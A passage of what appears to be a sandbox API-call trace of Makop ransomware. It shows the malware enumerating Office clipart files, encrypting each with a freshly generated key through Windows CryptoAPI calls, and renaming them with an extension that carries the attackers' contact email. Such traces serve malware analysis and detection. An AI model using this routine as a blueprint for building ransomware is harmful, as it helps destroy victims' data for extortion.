(hFile=0xf0) returned 1 [0127.442] GetProcessHeap () returned 0x48a0000 [0127.442] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.442] GetProcessHeap () returned 0x48a0000 [0127.442] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.443] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.444] CloseHandle (hObject=0xf0) returned 1 [0127.444] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2182, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185834.WMF", cAlternateFileName="")) returned 1 [0127.444] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0127.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.446] GetProcessHeap () returned 0x48a0000 [0127.446] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.446] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.446] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.447] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0127.452] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.452] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.452] GetProcessHeap () returned 0x48a0000 [0127.452] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.452] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.452] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.452] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.452] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.452] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.453] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.453] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.453] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.453] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.453] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.453] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.453] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2182, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2182, lpOverlapped=0x0) returned 1 [0127.455] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2190, dwBufLen=0x2190 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2190) returned 1 [0127.455] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.455] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2190, lpOverlapped=0x0) returned 1 [0127.455] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.456] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.456] SetEndOfFile (hFile=0xf0) returned 1 [0127.464] GetProcessHeap () returned 0x48a0000 [0127.464] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.464] GetProcessHeap () returned 0x48a0000 [0127.464] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.464] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.467] CloseHandle (hObject=0xf0) returned 1 [0127.467] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185842.WMF", cAlternateFileName="")) returned 1 [0127.467] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0127.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.469] GetProcessHeap () returned 0x48a0000 [0127.469] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.469] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.469] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.469] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0127.473] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.474] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.474] GetProcessHeap () returned 0x48a0000 [0127.474] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.474] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.474] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.474] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.474] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.474] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.474] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.475] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.475] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.475] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.475] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.475] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.475] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x37e4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x37e4, lpOverlapped=0x0) returned 1 [0127.477] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x37f0, dwBufLen=0x37f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x37f0) returned 1 [0127.477] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.477] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x37f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x37f0, lpOverlapped=0x0) returned 1 [0127.477] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.478] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x38c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.478] SetEndOfFile (hFile=0xf0) returned 1 [0127.486] GetProcessHeap () returned 0x48a0000 [0127.486] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.486] GetProcessHeap () returned 0x48a0000 [0127.486] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.486] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.486] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.487] CloseHandle (hObject=0xf0) returned 1 [0127.488] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186346.WMF", cAlternateFileName="")) returned 1 [0127.488] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0127.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.488] GetProcessHeap () returned 0x48a0000 [0127.489] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.489] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.489] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.489] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0127.493] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.493] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.493] GetProcessHeap () returned 0x48a0000 [0127.493] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.493] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.493] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.494] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.494] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.494] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.494] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.494] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.494] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.495] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.495] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.495] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.495] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x21da, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x21da, lpOverlapped=0x0) returned 1 [0127.496] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x21e0, dwBufLen=0x21e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x21e0) returned 1 [0127.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.497] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x21e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x21e0, lpOverlapped=0x0) returned 1 [0127.497] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x22b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.497] SetEndOfFile (hFile=0xf0) returned 1 [0127.504] GetProcessHeap () returned 0x48a0000 [0127.504] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.504] GetProcessHeap () returned 0x48a0000 [0127.504] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.504] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.504] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.505] CloseHandle (hObject=0xf0) returned 1 [0127.506] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x843a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186360.WMF", cAlternateFileName="")) returned 1 [0127.506] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0127.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.507] GetProcessHeap () returned 0x48a0000 [0127.507] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.507] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.507] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.507] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0127.511] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.512] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.512] GetProcessHeap () returned 0x48a0000 [0127.512] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.512] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.512] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.512] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.512] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.512] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.513] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.513] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.513] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.513] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.513] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.513] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.513] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x843a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x843a, lpOverlapped=0x0) returned 1 [0127.515] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8440, dwBufLen=0x8440 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8440) returned 1 